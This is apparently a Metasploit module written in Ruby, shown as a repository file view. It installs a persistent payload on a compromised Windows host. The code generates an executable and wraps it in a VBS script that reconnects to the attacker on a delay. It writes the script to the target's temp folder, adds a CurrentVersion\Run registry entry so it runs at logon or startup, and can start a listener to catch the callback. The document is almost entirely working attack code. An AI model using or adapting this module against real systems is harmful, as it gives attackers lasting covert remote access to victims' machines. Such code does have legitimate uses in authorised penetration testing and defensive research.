329 lines
12 KiB
Ruby
329 lines
12 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
require 'msf/core/post/common'
|
|
require 'msf/core/post/file'
|
|
require 'msf/core/post/windows/priv'
|
|
require 'msf/core/post/windows/registry'
|
|
require 'msf/core/exploit/exe'
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::Common
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::Registry
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Windows Persistent Registry Startup Payload Installer',
|
|
'Description' => %q{
|
|
This module will install a payload that is executed during boot.
|
|
It will be executed either at user logon or system startup via the registry
|
|
value in "CurrentVersion\Run" (depending on privilege and selected method).
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Carlos Perez <carlos_perez[at]darkoperator.com>',
|
|
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Targets' => [ [ 'Windows', {} ] ],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => "Oct 19 2011",
|
|
'DefaultOptions' =>
|
|
{
|
|
'DisablePayloadHandler' => 'true'
|
|
}
|
|
))
|
|
|
|
register_options([
|
|
OptInt.new('DELAY',
|
|
[true, 'Delay (in seconds) for persistent payload to keep reconnecting back.', 10]),
|
|
OptEnum.new('STARTUP',
|
|
[true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
|
|
OptString.new('VBS_NAME',
|
|
[false, 'The filename to use for the VBS persistent script on the target host (%RAND% by default).', nil]),
|
|
OptString.new('EXE_NAME',
|
|
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
|
|
OptString.new('REG_NAME',
|
|
[false, 'The name to call registry value for persistence on target host (%RAND% by default).', nil]),
|
|
OptString.new('PATH',
|
|
[false, 'Path to write payload (%TEMP% by default).', nil])
|
|
], self.class)
|
|
|
|
register_advanced_options([
|
|
OptBool.new('HANDLER',
|
|
[false, 'Start an exploit/multi/handler job to receive the connection', false]),
|
|
OptBool.new('EXEC_AFTER',
|
|
[false, 'Execute persistent script after installing.', false])
|
|
], self.class)
|
|
end
|
|
|
|
# Exploit method for when exploit command is issued
|
|
def exploit
|
|
# Define default values
|
|
rvbs_name = datastore['VBS_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
|
|
rexe_name = datastore['EXE_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
|
|
reg_val = datastore['REG_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
|
|
startup = datastore['STARTUP'].downcase
|
|
delay = datastore['DELAY']
|
|
exec_after = datastore['EXEC_AFTER']
|
|
handler = datastore['HANDLER']
|
|
@clean_up_rc = ""
|
|
|
|
rvbs_name = rvbs_name + '.vbs' if rvbs_name[-4,4] != '.vbs'
|
|
rexe_name = rexe_name + '.exe' if rexe_name[-4,4] != '.exe'
|
|
|
|
# Connect to the session
|
|
begin
|
|
host = session.session_host
|
|
print_status("Running persistent module against #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
|
|
rescue => e
|
|
print_error("Could not connect to session: #{e}")
|
|
return nil
|
|
end
|
|
|
|
# Check values
|
|
if is_system? && startup == 'user'
|
|
print_warning('Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!')
|
|
end
|
|
|
|
if handler && !datastore['DisablePayloadHandler']
|
|
# DisablePayloadHandler will stop listening after the script finishes - we want a job so it continues afterwards!
|
|
print_warning("Note: HANDLER == TRUE && DisablePayloadHandler == TRUE. This will create issues...")
|
|
print_warning("Disabling HANDLER...")
|
|
handler = false
|
|
end
|
|
|
|
# Generate the exe payload
|
|
vprint_status("Generating EXE payload (#{rexe_name})")
|
|
exe = generate_payload_exe
|
|
# Generate the vbs payload
|
|
vprint_status("Generating VBS persistent script (#{rvbs_name})")
|
|
vbsscript = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay, :exe_filename => rexe_name})
|
|
# Writing the payload to target
|
|
vprint_status("Writing payload inside the VBS script on the target")
|
|
script_on_target = write_script_to_target(vbsscript, rvbs_name)
|
|
# Exit the module because we failed to write the file on the target host
|
|
# Feedback has already been given to the user, via the function.
|
|
return unless script_on_target
|
|
|
|
# Initial execution of persistent script
|
|
case startup
|
|
when 'user'
|
|
# If we could not write the entry in the registy we exit the module.
|
|
return unless write_to_reg("HKCU", script_on_target, reg_val)
|
|
vprint_status("Payload will execute when USER (#{session.sys.config.getuid}) next logs on")
|
|
when 'system'
|
|
# If we could not write the entry in the registy we exit the module.
|
|
return unless write_to_reg("HKLM", script_on_target, reg_val)
|
|
vprint_status("Payload will execute at the next SYSTEM startup")
|
|
else
|
|
print_error("Something went wrong. Invalid STARTUP method: #{startup}")
|
|
return nil
|
|
end
|
|
|
|
# Do we setup a exploit/multi/handler job?
|
|
if handler
|
|
listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD'])
|
|
if listener_job_id.blank?
|
|
print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
|
|
end
|
|
end
|
|
|
|
# Do we execute the VBS script afterwards?
|
|
target_exec(script_on_target) if exec_after
|
|
|
|
# Create 'clean up' resource file
|
|
clean_rc = log_file()
|
|
file_local_write(clean_rc, @clean_up_rc)
|
|
print_status("Clean up Meterpreter RC file: #{clean_rc}")
|
|
|
|
report_note(:host => host,
|
|
:type => "host.persistance.cleanup",
|
|
:data => {
|
|
:local_id => session.sid,
|
|
:stype => session.type,
|
|
:desc => session.info,
|
|
:platform => session.platform,
|
|
:via_payload => session.via_payload,
|
|
:via_exploit => session.via_exploit,
|
|
:created_at => Time.now.utc,
|
|
:commands => @clean_up_rc
|
|
}
|
|
)
|
|
end
|
|
|
|
# Writes script to target host and returns the pathname of the target file or nil if the
|
|
# file could not be written.
|
|
def write_script_to_target(vbs, name)
|
|
filename = name || Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
|
|
temppath = datastore['PATH'] || session.sys.config.getenv('TEMP')
|
|
filepath = temppath + "\\" + filename
|
|
|
|
unless directory?(temppath)
|
|
print_error("#{temppath} does not exists on the target")
|
|
return nil
|
|
end
|
|
|
|
if file?(filepath)
|
|
print_warning("#{filepath} already exists on the target. Deleting...")
|
|
begin
|
|
file_rm(filepath)
|
|
print_good("Deleted #{filepath}")
|
|
rescue
|
|
print_error("Unable to delete file!")
|
|
return nil
|
|
end
|
|
end
|
|
|
|
begin
|
|
write_file(filepath, vbs)
|
|
print_good("Persistent VBS script written on #{sysinfo['Computer']} to #{filepath}")
|
|
|
|
# Escape windows pathname separators.
|
|
@clean_up_rc << "rm #{filepath.gsub(/\\/, '//')}\n"
|
|
rescue
|
|
print_error("Could not write the payload on the target")
|
|
# Return nil since we could not write the file on the target
|
|
filepath = nil
|
|
end
|
|
|
|
filepath
|
|
end
|
|
|
|
# Installs payload in to the registry HKLM or HKCU
|
|
def write_to_reg(key, script_on_target, registry_value)
|
|
regsuccess = true
|
|
nam = registry_value || Rex::Text.rand_text_alpha(rand(8)+8)
|
|
key_path = "#{key.to_s}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
|
|
|
print_status("Installing as #{key_path}\\#{nam}")
|
|
|
|
if key && registry_setvaldata(key_path, nam, script_on_target, "REG_SZ")
|
|
print_good("Installed autorun on #{sysinfo['Computer']} as #{key_path}\\#{nam}")
|
|
else
|
|
print_error("Failed to make entry in the registry for persistence")
|
|
regsuccess = false
|
|
end
|
|
|
|
regsuccess
|
|
end
|
|
|
|
# Executes script on target and returns true if it was successfully started
|
|
def target_exec(script_on_target)
|
|
execsuccess = true
|
|
print_status("Executing script #{script_on_target}")
|
|
# Lets give the target a few seconds to catch up...
|
|
Rex.sleep(3)
|
|
|
|
# Error handling for process.execute() can throw a RequestError in send_request.
|
|
begin
|
|
unless datastore['EXE::Custom']
|
|
cmd_exec("wscript \"#{script_on_target}\"")
|
|
else
|
|
cmd_exec("cscript \"#{script_on_target}\"")
|
|
end
|
|
rescue
|
|
print_error("Failed to execute payload on target")
|
|
execsuccess = false
|
|
end
|
|
|
|
execsuccess
|
|
end
|
|
|
|
# Starts a exploit/multi/handler session
|
|
def create_multihandler(lhost, lport, payload_name)
|
|
pay = client.framework.payloads.create(payload_name)
|
|
pay.datastore['LHOST'] = lhost
|
|
pay.datastore['LPORT'] = lport
|
|
print_status('Starting exploit/multi/handler')
|
|
|
|
unless check_for_listener(lhost, lport)
|
|
# Set options for module
|
|
mh = client.framework.exploits.create('multi/handler')
|
|
mh.share_datastore(pay.datastore)
|
|
mh.datastore['WORKSPACE'] = client.workspace
|
|
mh.datastore['PAYLOAD'] = payload_name
|
|
mh.datastore['EXITFUNC'] = 'thread'
|
|
mh.datastore['ExitOnSession'] = true
|
|
# Validate module options
|
|
mh.options.validate(mh.datastore)
|
|
# Execute showing output
|
|
mh.exploit_simple(
|
|
'Payload' => mh.datastore['PAYLOAD'],
|
|
'LocalInput' => self.user_input,
|
|
'LocalOutput' => self.user_output,
|
|
'RunAsJob' => true
|
|
)
|
|
|
|
# Check to make sure that the handler is actually valid
|
|
# If another process has the port open, then the handler will fail
|
|
# but it takes a few seconds to do so. The module needs to give
|
|
# the handler time to fail or the resulting connections from the
|
|
# target could end up on on a different handler with the wrong payload
|
|
# or dropped entirely.
|
|
Rex.sleep(5)
|
|
return nil if framework.jobs[mh.job_id.to_s].nil?
|
|
|
|
return mh.job_id.to_s
|
|
else
|
|
print_error('A job is listening on the same local port')
|
|
return nil
|
|
end
|
|
end
|
|
|
|
# Method for checking if a listener for a given IP and port is present
|
|
# will return true if a conflict exists and false if none is found
|
|
def check_for_listener(lhost, lport)
|
|
client.framework.jobs.each do |k, j|
|
|
if j.name =~ / multi\/handler/
|
|
current_id = j.jid
|
|
current_lhost = j.ctx[0].datastore['LHOST']
|
|
current_lport = j.ctx[0].datastore['LPORT']
|
|
if lhost == current_lhost && lport == current_lport.to_i
|
|
print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
|
|
return true
|
|
end
|
|
end
|
|
end
|
|
false
|
|
end
|
|
|
|
# Function for creating log folder and returning log path
|
|
def log_file(log_path = nil)
|
|
# Get hostname
|
|
host = session.sys.config.sysinfo["Computer"]
|
|
|
|
# Create Filename info to be appended to downloaded files
|
|
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
|
|
|
# Create a directory for the logs
|
|
if log_path
|
|
logs = ::File.join(log_path, 'logs', 'persistence',
|
|
Rex::FileUtils.clean_path(host + filenameinfo))
|
|
else
|
|
logs = ::File.join(Msf::Config.log_directory, 'persistence',
|
|
Rex::FileUtils.clean_path(host + filenameinfo))
|
|
end
|
|
|
|
# Create the log directory
|
|
::FileUtils.mkdir_p(logs)
|
|
|
|
# logfile name
|
|
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
|
|
logfile
|
|
end
|
|
|
|
end
|